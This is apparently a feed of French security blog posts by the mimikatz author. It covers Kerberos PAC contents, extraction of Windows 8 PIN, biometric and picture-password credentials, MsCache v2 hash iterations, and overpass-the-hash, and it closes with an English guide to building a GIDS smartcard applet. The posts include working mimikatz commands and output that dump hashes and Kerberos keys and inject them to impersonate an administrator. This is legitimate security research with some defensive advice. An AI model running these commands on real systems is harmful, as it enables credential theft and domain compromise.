   (1) : OCTET STRING : 
  (5) : GENERALIZED TIME : '20140118160650Z'
  (6) : GENERALIZED TIME : '20140118160650Z'
  (7) : GENERALIZED TIME : '20140119020650Z'
  (8) : GENERALIZED TIME : '20140125160650Z'
  (10) : SEQUENCE : SEQUENCE : 
   (0) : INTEGER : 1
   (1) : OCTET STRING : SEQUENCE : SEQUENCE : 
    (0) : INTEGER : 128
    (1) : OCTET STRING : 
     050000000000000001000000280
     [...]
     B22B83D6D3B9D549E88D0000000

Les lignes 24 à 26 sont un extrait du PAC (structure regroupant des données d’autorisation).

Contenu du PAC

Ces données sont encodées au format DCE avec un marshalling des données RPCE. Cette structure peut, dans certains cas, contenir les hashs LM/NTLM de l’utilisateur.

*** Logon Informations ***

LogonTime              01cf14674bc48b49 - 18/01/2014 17:06:50
LogoffTime             7fffffffffffffff -
KickOffTime            7fffffffffffffff -
PasswordLastSet        01cf0fe36db4dea8 - 12/01/2014 23:12:48
PasswordCanChange      01cf10ac981e9ea8 - 13/01/2014 23:12:48
PasswordMustChange     01cf30e4630e5ea8 - 23/02/2014 23:12:48

EffectiveName          (28, 28, @ 00020004)     Administrateur
FullName               (50, 50, @ 00020008)     Administrateur du domaine
LogonScript            ( 0,  0, @ 0002000c)     (null)
ProfilePath            ( 0,  0, @ 00020010)     (null)
HomeDirectory          ( 0,  0, @ 00020014)     (null)
HomeDirectoryDrive     ( 0,  0, @ 00020018)     (null)

LogonCount             18
BadPasswordCount       0

UserId                 000001f4 (500)
PrimaryGroupId         00000201 (513)

GroupCount             5
GroupIds               @ 0002001c
 * 520  (7)
 * 513  (7)
 * 512  (7)
 * 518  (7)
 * 519  (7)

UserFlags              00000020 (32)
UserSessionKey         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

LogonServer            (22, 24, @ 00020020)     DC-2012R2-X
LogonDomainName        (12, 14, @ 00020024)     DOMAIN

LogonDomainId          @ 00020028
 * SID : S-1-5-21-1723555596-1415287819-2705645101

UserAccountControl     00000010 (16)
SubAuthStatus          00000000 (0)

LastSuccessfulILogon   0000000000000000
LastFailedILogon       0000000000000000

FailedILogonCount      0

SidCount               1
ExtraSids              @ 0002002c
ResourceGroupDomainSid @ 00000000
ResourceGroupCount     0
ResourceGroupIds       @ 00000000

*** Client name and ticket information ***
ClientId 01cf14674ba00900 - 18/01/2014 17:06:50
Client   (28, Administrateur)

*** Server Signature ***
Type -138 - (0) : 28 0c 88 6b ac 03 88 86 c6 dc ed a2 55 15 b9 b0

*** KDC Signature ***
Type -138 - (0) : d7 2d f9 00 a5 e4 b2 2b 83 d6 d3 b9 d5 49 e8 8d

La signature du serveur est ici basé sur la clé du KDC elle même (la cible d’un TGT restant finalement un KDC). S’il s’agissait d’un ticket de service, le hash du compte NTLM du servicé visé aurait été utilisé.
La signature du KDC est évidemment basée sur la clé du KDC.

Plus d’information sur la signature du PAC :


Windows 8, empreintes digitales

$
0
0

windows_fingerprints

Dans un post précédent j’abordais deux méthodes d’authentifications alternative au mot de passe historique sous Windows 8.x ; le code pin ou l’image.

Mais Windows 8.x supporte maintenant nativement l’authentification biométrique, par exemple par empreinte digitale (http://technet.microsoft.com/library/dn344916.aspx).

logon_fingerprints

Windows n’implémente pas une réelle architecture d’authentification biométrique, il vérifie dans une base interne que l’empreinte figure bien dans son référentiel et… retourne le mot de passe utilisateur en clair…

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jan 23 2014 00:52:44)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  14 modules * * */


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : AUTORITE NT\Système

408     34205           AUTORITE NT\Système     S-1-5-18        (04g,20p)       Primary
 -> Impersonated !
 * Process Token : 1347551      win81\Utilisateur       S-1-5-21-650724876-2192615621-2148298248-1001   (14g,23p)       Primary
 * Thread Token  : 1354005      AUTORITE NT\Système     S-1-5-18        (04g,20p)       Impersonation (Delegation)

mimikatz # vault::list

Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
        Name       : Informations d’identification Web
        Path       : C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
        Items (3)
          0.    PIN Logon Credential
                Type            : {b2e033f5-5fde-450d-a1bd-3791f465720c}
                LastWritten     : 23/01/2014 22:39:26
                Flags           : 00000000
                Ressource       : PIN Logon Vault Resource
                Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03 00 00
                Authenticator   :
                PackageSid      :
                Property  0     : 1234
                *Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

                *** Pin Logon ***
                User            : win81\Utilisateur
                Password        : waza1234/
                PIN Code        : 1234

          1.    WinBio CredProv Credential
                Type            : {fec87291-14f6-40b6-bd98-7ff245986b26}
                LastWritten     : 22/01/2014 23:53:14
                Flags           : 00000000
                Ressource       : WinBio CredProv Resource
                Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03 00 00
                Authenticator   :
                PackageSid      :
                Property  0     : 0c 00 00 00 0c 00 00 00 06 00 00 00 55 00 74 00 69 00 6c 00 69 00 73 00 61 00 74 00 65 00 75 00 72 00 00 00 77 00 69 00 6e 00 38 00 31 00 00 00
                *Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

                *** Biometric ***
                User            : win81\Utilisateur
                Password        : waza1234/
                Username [ 6]   : Utilisateur

          2.    Picture Password Credential
                Type            : {b4b8a12b-183d-4908-9559-bd8bce72b58a}
                LastWritten     : 22/01/2014 22:34:16
                Flags           : 00000000
                Ressource       : Picture Password Vault Resource
                Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03 00 00
                Authenticator   :
                PackageSid      :
                Property  0     : 02 00 00 00 56 00 00 00 39 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 2f 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00
                *Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

                *** Picture Password ***
                User            : win81\Utilisateur
                Password        : waza1234/
                Background path : C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-650724876-2192615621-2148298248-1001\ReadOnly\PicturePassword\background.png
                Picture password (grid is 150*100)
                 [0] circle (x =  86 ; y =  57 ; r =   8) - anticlockwise
                 [1] point  (x =  47 ; y =  46)
                 [2] point  (x = 125 ; y =  46)

Le mot de passe utilisateur est, une fois de plus, stocké dans le coffre du système…

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

gentilkiwi @ St’Hack 4.0

$
0
0

sthack_elephant

Agix a eu la gentille idée de m’inviter à Bordeaux pour la 4ème édition de la St’Hack.

Je présenterai donc mimikatz et ses nouveautés Vendredi 14 Mars à 15h50 au CAPC (https://goo.gl/maps/QtwvV)

Venez assister à plusieurs conférences de sécurité et serrer la patte d’un gentilkiwi !
Programme disponible à l’adresse https://www.sthack.fr/fr/talks

J’essayerai de faire des stickers mimikatz cette fois ;)

Au programme :

Présentation de méthodes de récupération et de rejoue des données d’authentification Windows

  • Faiblesse des gestionnaires de sécurité et améliorations sous Windows 8.1 ;
  • Utilisation de moyens matériel, une solution ? ;
  • Quelques petits à-côtés pour les survivants.

sthack

MsCache v2 / DCC2 et nombre d’itérations

$
0
0

Dans un domaine Windows, il se peut que les clients soient (temporairement) dans l’impossibilité de valider leur authentification auprès d’un contrôleur de domaine.
C’est particulièrement le cas des postes mobiles (portables/tablettes/…).

Pour permettre les ouvertures de sessions ou déverrouillage en mode hors-ligne, Windows peut conserver un certains nombres d’entrées utilisateurs en cache (par défaut 10 – http://technet.microsoft.com/library/cc957390.aspx).

Ces caches se trouvent dans la base de registre, à l’emplacement HKEY_LOCAL_MACHINE\SECURITY\Cache (accessible à SYSTEM).
Ces entrées sont chiffrés symétriquement, mais l’on y retrouve quelques informations sur l’utilisateur, ainsi que des hash suffisants pour vérifier l’authentification.

Windows 2003/XP

L’algorithme de chiffrement est RC4.
Le hash étant utilisé pour vérifier l’authentification est calculé de la manière suivante :

DCC1 = MD4(MD4(Unicode(password)) . LowerUnicode(username))
soit
DCC1 = MD4(hashNTLM . LowerUnicode(username))

Devant les facilités d’attaques par pass-the-hash, l’on ne peut que se réjouir de ce « salage » par le nom d’utilisateur.
Il existe toutefois un nombre tables pré-calculées pour des utilisateurs tel que Administrator facilitant les attaques sur ces hashs.

mimikatz # lsadump::cache
Domain : WINXP
SysKey : a4905bdecbbef089d5e7c26dd86cf285

Policy subsystem is : 1.7
LSA Key : 57af228842e63b532789b8f207a4e942

[NL$1 - 02/03/2014 21:26:51]
RID       : 000001f4 (500)
User      : CHOCOLATE\Administrateur
MsCacheV1 : 53f1a7f5e51fdb29e32f07204fb8d54e

mimikatz # 

Windows Vista/2008 et >

L’algorithme de chiffrement est AES128.
Le hash étant utilisé pour vérifier l’authentification est calculé de la manière suivante :

DCC2 = PBKDF2(HMAC-SHA1, Iterations, DCC1, LowerUnicode(username))
avec DCC1 calculé de la même manière que pour 2003/XP

mimikatz # lsadump::cache
Domain : WIN81
SysKey : ab023e1a0a41ae80986b0075bbcd645b

Policy subsystem is : 1.12
LSA Key(s) : 1, default {021c6967-cf42-411f-8929-38feebd05ff1}
  [00] {021c6967-cf42-411f-8929-38feebd05ff1} b2e66d1c21b2c37db1c9b0c01438fff00f9754ce5159b2dc133c27d0f63efb81

* Iteration is set to default (10240)

[NL$1 - 02/03/2014 21:33:05]
RID       : 000001f4 (500)
User      : CHOCOLATE\Administrateur
MsCacheV2 : c1c34952b9bb06a561820e8f404da848

mimikatz # 

Il n’y a finalement pas beaucoup de différence avec XP/2003 ; aucune donnée de salage supplémentaire n’est introduite.
Seul la fonction PBKDF2 introduit une nouvelle variable : un nombre d’itérations SHA1 avec le même sel que précédemment (le nom d’utilisateur).

Itérations

Seulement disponible sous NT6, ces itérations ont pour rôle de ralentir les attaques brutes.
Plus leur nombre est élevé, plus l’attaque brute sera longue (et l’ouverture de session Windows lente).

Ce nombre d’itérations est connu, il s’agit de 10240 (10 << 10).

Cette valeur est bien évidemment hardcodée dans tous les programmes traitant les hashs MsCache v2 (que j’ai pu voir !)

Exemple avec Cain

cain_mscachev2

Cain a réussi à valider le mot de passe waza1234/ pour le premier hash (il s’agit de la configuration par défaut).
La deuxième ligne contient en revanche le hash d’une configuration « modifiée » sur lequel Cain n’a pu vérifier le mot de passe.

Cette modification est le nombre d’itération, celui-ci est configurable par la base de registre :
HKEY_LOCAL_MACHINE\SECURITY\Cache valeur DWORD(32) NL$IterationCount
reg_nl_iteration

  • si ce nombre est inférieur à 10240, il s’agit d’un multiplicateur par 1024 (20 donnera donc 20480 itérations)
  • si ce nombre est supérieur à 10240, il s’agit du nombre d’itérations (arrondi à 1024)

Code simplifié

if(pNL$IterationCount) // NL$IterationCount in registry
{
	if(*pNL$IterationCount > 10240)
	{
		Iterations = *pNL$IterationCount & ~0x3ff;
	}
	else
	{
		Iterations = *pNL$IterationCount * 1024;
	}
}
else // No NL$IterationCount in registry (default), equ. 10
{
	Iterations = 10240;
}

Conclusion en 3 points

  1. Il serait judicieux de pouvoir paramétrer le nombre d’itération dans des outils tel que Cain et HashCat ;
  2. Il est dommage que Microsoft n’ait pas choisi de saler ce hash DCC2 avec une donnée complexe propre à chaque système ;
  3. S’il est nécessaire de conserver la mise en cache, il est intéressant de modifier NL$IterationCount avec une valeur différente pour chaque système.
    (pour désactiver toute mise en cache dans un domaine, positionner CachedLogonsCount à 0, voir ci-dessous)

Téléchargement & ressources

mimikatz_iteration
La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

gentilkiwi @ RMLL 2014 (Libre Software Meeting 2014)

$
0
0

sthack_elephant

Christophe Brocas m’a proposé un événement qui m’est un peu particulier : les 15èmes Rencontres Mondiales du Logiciel Libre (RMLL / LSM).

Mon attachement sur certains aspect à Windows ne laisse pas facilement deviner que j’apprécie la philosophie du libre ! Pourtant mimikatz l’est totalement, et opensource ;)

J’aurais donc la chance de participer à la track Sécurité des RMLL et présenterai donc mimikatz et ses nouveautés Mercredi 9 Juillet à 10:10 sur le campus du Triolet de l’UM2 (Université de Montpellier) – Salle SC002.

Au programme : « mimikatz, un petit voyage au cœur de la mémoire du service de sécurité Windows », des mots de passe, des hash, des clés, des tickets d’or… https://2014.rmll.info/conference80

N’oubliez pas d’aller voir toutes les autres conférences : https://2014.rmll.info/schedule, (et en particulier la track sécurité :P https://2014.rmll.info/theme26).

gentilkiwi @ Eurotrash Security Podcast (épisode 48)

gentilkiwi @ blackhat 2014 – LV

$
0
0

blackhat

Cette année, Skip `Alva` Duckwall a eu la très gentille idée de m’inviter à présenter les nouveautés de mimikatz au sujet de Kerberos!

Nous présenterons donc, ensemble, le 7 août à 11:45 dans la salle ‘South Seas CD’ du Mandalay Bay à Las Vegas, « Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It »

mimikatz_sticker
Viendez donc nous voir ! J’aurais des stickers ;)
defcon
J’essayerais aussi de passer une tête au talk de Chris Campbell : « The Secret Life of Krbtgt » à la Defcon!

Overpass-the-hash

$
0
0

A quelques jours du BlackHat et de la Defcon, je profite de ce post pour donner quelques explication sur un petit billet Twitter du mois d’Avril.

(il sera bien entendu abordé la conférence « Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It » avec Skip)

Pass-the-hash

Sous Windows, la technique du « Pass-the-Hash » consiste à s’authentifier sur un serveur en utilisant le hash du mot de passe d’un utilisateur, plutôt que par le mot de passe lui même.

Les bases

Un serveur s’assure de l’identité d’un utilisateur en vérifiant sa connaissance d’un secret qu’ils partagent.
Grossièrement, le serveur envoi au client une données, un challenge, que le client devra chiffrer/hasher/… à partir du secret partagé : cela devient la réponse.
Si le serveur réussi à calculer la même réponse, ou à la déchiffrer à partir de sa connaissance du secret, c’est que le client possède le même secret.

Ces secrets sont sur les DC pour un domaine, sinon ils doivent être partagés dans la SAM locale de chaque serveur.

Les secrets

Contrairement à ce qui pourrait être facilement imaginé, Windows n’utilise pas le mot de passe de l’utilisateur comme secret partagé, mais des dérivés non réversibles : hash LM, NTLM, clés DES, AES…

Selon le protocole utilisé, le secret et les algorithmes utilisés sont différents :

Protocole Algorithme Secret utilisé
LM DES-ECB Hash LM
NTLMv1 DES-ECB Hash NT
NTLMv2 HMAC-MD5 Hash NT

Dans le cas du protocole NTLM, le hash NT dérivé du mot de passe utilisateur est suffisant pour répondre au challenge du serveur.
Le mot de passe utilisateur est, lui, inutile dans sa forme originale.

Overpass-the-hash (pass-the-key)

L’authentification via Kerberos est un tantinet différente. Le client chiffre un timestamp à partir de son secret utilisateur, éventuellement avec des paramètres de realm et un nombre d’itération envoyé du serveur.
Si le secret est le bon, le serveur peut déchiffrer le timestamp (et au passage vérifier que les horloges ne sont pas trop décalés dans le temps).

Protocole Secret (clé) utilisé
Kerberos DES
RC4 = Hash NT!
AES128
AES256

Oui, la clé de type RC4, disponible et activé par défaut de XP à 8.1 reste notre hash NT!

Jouons

Ces clés sont disponibles dans la mémoire du fournisseur Kerberos.
Tout comme le mot de passe utilisateur, ces clés sont d’autant plus présentes qu’un TGT n’a pas encore été obtenu.

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 239946 (00000000:0003a94a)
Session           : Interactive from 1
User Name         : Administrateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-500

         * Username : Administrateur
         * Domain   : CHOCOLATE.LOCAL
         * Password : (null)
         * Key List :
           aes256_hmac       b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
           aes128_hmac       8451bb37aa6d7ce3d2a5c2d24d317af3
           rc4_hmac_nt       cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old      cc36cf7a8514893efccd332446158b1a
           rc4_md4           cc36cf7a8514893efccd332446158b1a
           rc4_hmac_nt_exp   cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old_exp  cc36cf7a8514893efccd332446158b1a

toutes les clés et mot de passe devraient même totalement disparaitre après l’obtention d’un TGT, puisqu’un TGT est autosuffisant pour se renouveler tout au long de sa durée de vie… – http://www.ietf.org/rfc/rfc4120.txt § 2.3

Et si nous passion le hash ?

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
NTLM    : cc36cf7a8514893efccd332446158b1a
  |  PID  2652
  |  TID  2656
  |  LUID 0 ; 288235 (00000000:000465eb)
  \_ msv1_0   - data copy @ 0000000000311E10 : OK !
  \_ kerberos - data copy @ 000000000035D8D8
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace -> null

Cette fois ci le hash NT a été injecté dans le provider msv1_0 et kerberos, permettant de répondre aux challenges NTLM et d’obtenir un TGT Kerberos…

Mais il est aussi possible de n’utiliser QUE la clé AES si besoin :

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e
670fbe4262d6c94098a9e9
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
AES256  : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
  |  PID  1652
  |  TID  548
  |  LUID 0 ; 411133 (00000000:000645fd)
  \_ msv1_0   - data copy @ 0000000001675F70 : OK !
  \_ kerberos - data copy @ 000000000161E118
   \_ aes256_hmac       OK
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       -> null
   \_ rc4_hmac_old      -> null
   \_ rc4_md4           -> null
   \_ rc4_hmac_nt_exp   -> null
   \_ rc4_hmac_old_exp  -> null
   \_ *Password replace -> null

Cette fois ci, le protocole NTLM ne pourra pas être utilisé, seulement Kerberos avec chiffrement AES256.

Des clés sur le DC

Afin de vérifier toute ces méthodes d’authentification, les DC doivent avoir sous la main de multiples clés pour chaques utilisateurs…
Nous connaissions le hash LM et le hash NT… mais comment obtenir les autres ?

Une nouvelle méthode

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /name:Administrateur /inject
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

RID  : 000001f4 (500)
User : Administrateur

 * Primary
    LM   :
    NTLM : cc36cf7a8514893efccd332446158b1a

 * WDigest
    01  bd9d09445aec3c116c9c8af35da604f5
    [...]
    29  d96ac7a2022d2ee01f441812e6450139

 * Kerberos
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Credentials
      des_cbc_md5       : f8fd987fa7153185

 * Kerberos-Newer-Keys
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
      aes128_hmac       (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3
      des_cbc_md5       (4096) : f8fd987fa7153185

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz


GIDS Cards

$
0
0

GIDS Cards are wonderful gifts from Vincent Le Toux (@mysmartlogon), they can transform JavaCards (2.2.1 or +) into universal SmartCards for Windows (7/2008r2 or +), without any middleware/crappy software to install.

You can find more information at: https://www.mysmartlogon.com/generic-identity-device-specification-gids-smart-card/ & https://docs.microsoft.com/previous-versions/windows/hardware/design/dn642100(v=vs.85)

Prerequisites

Building the applet

Download Vincent’s GIDS applet source code (clone the repository, download master branch, …) then go to its directory.
After adjusting line 1 & 2 to correct paths, you can build the binary.

set JC_HOME=c:\security\javacard\java_card_kit-2_2_1
set JAVA_HOME=C:\Program Files\Java\jdk1.8.0_291
set PATH=%JC_HOME%\bin;%JAVA_HOME%\bin;%PATH%

javac -Xlint:-options -g -source 1.2 -target 1.2 ^
-classpath %JC_HOME%\lib\api.jar ^
src\com\mysmartlogon\gidsApplet\*.java

java -classpath %JC_HOME%\lib\converter.jar;%JC_HOME%\lib\offcardverifier.jar com.sun.javacard.converter.Converter ^
-out CAP -exportpath %JC_HOME%\api_export_files -classdir src ^
-applet 0xa0:0x00:0x00:0x03:0x97:0x42:0x54:0x46:0x59:0x02:0x01 com.mysmartlogon.gidsApplet.GidsApplet ^
com.mysmartlogon.gidsApplet 0xa0:0x00:0x00:0x03:0x97:0x42:0x54:0x46:0x59 1.0

Applet will be in: src\com\mysmartlogon\gidsApplet\javacard\gidsApplet.cap

You can check some informations:

c:\security\javacard\GidsApplet-master>java -jar ..\gp.jar --info --cap src\com\mysmartlogon\gidsApplet\javacard\gidsApplet.cap
GlobalPlatformPro v20.01.23-0-g5ad373b
Running on Windows 10 10.0 amd64, Java 1.8.0_291 by Oracle Corporation
**** CAP info of gidsApplet.cap
CAP file (v2.1), contains: applets for JavaCard 2.2.1
Package: com.mysmartlogon.gidsApplet A00000039742544659 v1.0
Applet:  A000000397425446590201
Import:  A0000000620001                   v1.0 java.lang
Import:  A0000000620101                   v1.2 javacard.framework
Import:  A0000000620102                   v1.2 javacard.security
Import:  A0000000620201                   v1.2 javacardx.crypto
Generated by Sun Microsystems Inc. converter 1.3
On Thu Jun 24 14:29:36 CEST 2021 with JDK 1.8.0_291 (Oracle Corporation)
Code size 14965 bytes (17973 with debug)
SHA-256 ec1a1a642dbac5087ae9051c04c13c33734bd83a89139d5d30cfc238ea8d9832
SHA-1   a4379a1880e6f28c4dd3f6d4105b5ede5e59d8c9

Automated build

An automated build is available at: https://ci.appveyor.com/project/gentilkiwi/gidsapplet (for logs & artifacts).

Installing the applet in a JavaCard

  1. Tests were made with:
  2. Prefer contact readers to avoid problems during installations (or even key generations) – if interface includes contactless too, you’ll be able to use it after.
  3. Interacting with an incorect authentication key can brick the card, examples here are with default keys

Selecting reader

In case of multiple smartcard readers, you can list them to know their names

java -jar gp.jar --verbose 2>NUL | findstr /i Reader
Reader: ACS ACR122 0
# ACS ACR39U ICC Reader 0
Reader: ACS ACR39U ICC Reader 0
Reader: certgate GmbH AirID BLE 0
# HID Global OMNIKEY 5022 Smart Card Reader 0
Reader: HID Global OMNIKEY 5022 Smart Card Reader 0
Reader: OMNIKEY CardMan 3x21 0
Reader: Windows Hello for Business 1

List content

For A40

c:\security\javacard>java -jar gp.jar --reader "ACS ACR39U ICC Reader 0" --key 404142434445464748494a4b4c4d4e4f --list
ISD: A000000003000000 (OP_READY)
Privs:   SecurityDomain, CardLock, CardTerminate, CardReset, CVMManagement

For A22 – one default applet is present

c:\security\javacard>java -jar gp.jar --reader "ACS ACR39U ICC Reader 0" --key 404142434445464748494a4b4c4d4e4f --list
ISD: A000000003000000 (OP_READY)
Parent:  A000000003000000
From:    A0000000620001
Privs:   SecurityDomain, CardLock, CardTerminate, CardReset, CVMManagement, TrustedPath, AuthorizedManagement, TokenVerification, GlobalDelete, GlobalLock, GlobalRegistry, FinalApplication, ReceiptGeneration

PKG: A0000001515350 (LOADED)
Applet:  A000000151535041

Installing

… then listing

c:\security\javacard\GidsApplet-master>java -jar ..\gp.jar --reader "ACS ACR39U ICC Reader 0" --key 404142434445464748494a4b4c4d4e4f --install src\com\mysmartlogon\gidsApplet\javacard\gidsApplet.cap
CAP loaded

c:\security\javacard\GidsApplet-master>java -jar ..\gp.jar --reader "ACS ACR39U ICC Reader 0" --key 404142434445464748494a4b4c4d4e4f --list
ISD: A000000003000000 (OP_READY)
Privs:   SecurityDomain, CardLock, CardTerminate, CardReset, CVMManagement

APP: A000000397425446590201 (SELECTABLE)
Privs:

PKG: A00000039742544659 (LOADED)
Version: 1.0
Applet:  A000000397425446590201

(optional) Delete the applet (optional)

java -jar ..\gp.jar --reader "ACS ACR39U ICC Reader 0" --key 404142434445464748494a4b4c4d4e4f --delete A00000039742544659

Card initialization

Identifying smartcard readers

c:\security\javacard>opensc_tool --list-readers
# Detected readers (pcsc)
Nr.  Card  Features  Name
0    Yes             ACS ACR122 0
1    Yes             ACS ACR39U ICC Reader 0
2    Yes             certgate GmbH AirID BLE 0
3    Yes             HID Global OMNIKEY 5022 Smart Card Reader 0
4    Yes             OMNIKEY CardMan 3x21 0
5    Yes             Windows Hello for Business 1

Initialization

…change values, of course!

c:\security\javacard>gids_tool --reader 1 --initialize ^
--admin-key 000000000000000000000000000000000000000000000000 ^
--pin 0000 ^
--serial-number 00000000000000000000000000000000

Test

c:\security\javacard>certutil -scinfo "ACS ACR39U ICC Reader 0"
Le gestionnaire de ressource des cartes à puce est en cours d’exécution.
État de la carte/lecteur actuel :
Lecteurs : 1
0: ACS ACR39U ICC Reader 0
--- Lecteur : ACS ACR39U ICC Reader 0
--- Statut : SCARD_STATE_PRESENT | SCARD_STATE_UNPOWERED
--- Statut : Carte disponible pour utilisation.
---   Carte : Identity Device (Microsoft Generic Profile)
---    ATR :
3b 9f 95 81 31 fe 9f 00  66 46 53 05 10 00 ff 71   ;...1...fFS....q
df 00 00 00 00 00 ec                               .......
Viewing all 56 articles
Browse latest View live